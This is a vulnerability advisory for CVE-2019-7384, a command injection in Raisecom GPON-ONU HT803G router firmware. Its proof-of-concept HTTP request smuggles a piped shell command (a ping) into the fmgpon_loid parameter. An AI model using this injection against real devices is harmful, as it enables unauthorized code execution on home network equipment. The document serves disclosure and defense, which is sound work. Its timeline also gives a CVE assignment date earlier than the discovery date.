Raisecom Technology GPON-ONU HT803G-07 Command Injection

`=====================================  
Authenticated Shell Command Injection  
=====================================  
  
. contents:: Table Of Content  
  
Overview  
========  
  
Title:- Authenticated Shell command Injection  
Author: Kaustubh G. Padwad  
CVE ID: CVE-2019-7384.  
Vendor: Raisecom technology co.,LTD  
Product: GPON-ONU HT803G-07 (could be more who shares the same codebase)  
  
Potentially vulnerable  
  
ISCOM HT803G-U  
ISCOM HT803G-W  
ISCOM HT803G-1GE  
ISCOM HT803G  
  
  
Tested Version: : ISCOMHT803G-U_2.0.0_140521_R4.1.47.002  
Severity: High--Critical  
  
Advisory ID  
============  
KSA-Dev-005  
  
  
About the Product:  
==================  
  
The Raisecom GPON optical network terminal (ONT) series provides a flexible mix of residential access services including high speed data, IPTV, voice and CATV services compliant with the ITU-T G.984 standard. In particular, the Raisecom ONUs are designed for Ethernet data services, voice over IP, IPTV, CATV, wireless router accessing and convenient USB2.0 home network storage connections for various application scenarios, such as residential triple-play service and business connections. The GPON ONT series offer flexible choices in terms of downlink types and numbers, such as, GE/FE auto-adapting Ethernet ports, POTS (FXS) interfaces, RF port and WiFi function compliant with IEEE 802.11b/g/n. All GPON FTTX ONUs offer advanced end-to-end management and monitoring functionality, and the GPON series can be managed under the Raisecom NView platform.  
  
  
Description:   
============  
  
An authenticated shell command injection issue has been discovered in Raisecom ISCOM HT803G-U, HT803G-W, HT803G-1GE, and HT803G GPON products with the firmware version  
ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 or below. The value of the fmgpon_loid parameter is used in a system call  
inside the boa binary. Because there is no user input validation, this leads to authenticated code execution on the device.  
  
Additional_information  
======================  
  
The value of fmgpon_loid parameter is parse to system call in implimentation of application code inside boa binary and since their is no user input validation this leads to authenticated code execution on device  
  
  
Vulnerability Class:  
====================  
Authenticated Shell Command Injection  
  
Attack Type  
===========  
Local  
  
  
Impact Code execution  
=====================  
true  
  
Attack Vectors  
==============  
To exploit this vulnerability one must have to visit the crafted page or have to parse the proper crafted request to the device  
  
  
  
How to Reproduce: (POC):  
========================  
  
POST /boaform/admin/formgponConf HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.1/gpon.asp  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 162  
  
fmgpon_loid=%7c%20ping%20-n%2013%20127%2e0%2e0%2e1%20%7c&fmgpon_loid_password=raisecom&fmgpon_ploam_password=1234567890&apply=Apply+Changes&submit-url=%2Fgpon.asp  
  
Mitigation  
==========  
  
This issue is fixed in latest firmware as per vendor.  
  
Disclosure:   
===========  
28-NOV-2018 Discoverd the Vulnerability  
28-NOV-2018 Reported to vendor   
10-Dec-2018 Recived confirmation from vendor regarding fix  
04-JAN-2019 Request for the CVE-ID  
04-FEB-2018: CVE assigned   
  
credits:  
========  
* Kaustubh Padwad  
* Information Security Researcher  
* [email protected]  
* https://s3curityb3ast.github.io/  
* https://twitter.com/s3curityb3ast  
* http://breakthesec.com  
* https://www.linkedin.com/in/kaustubhpadwad  
  
  
  
  
`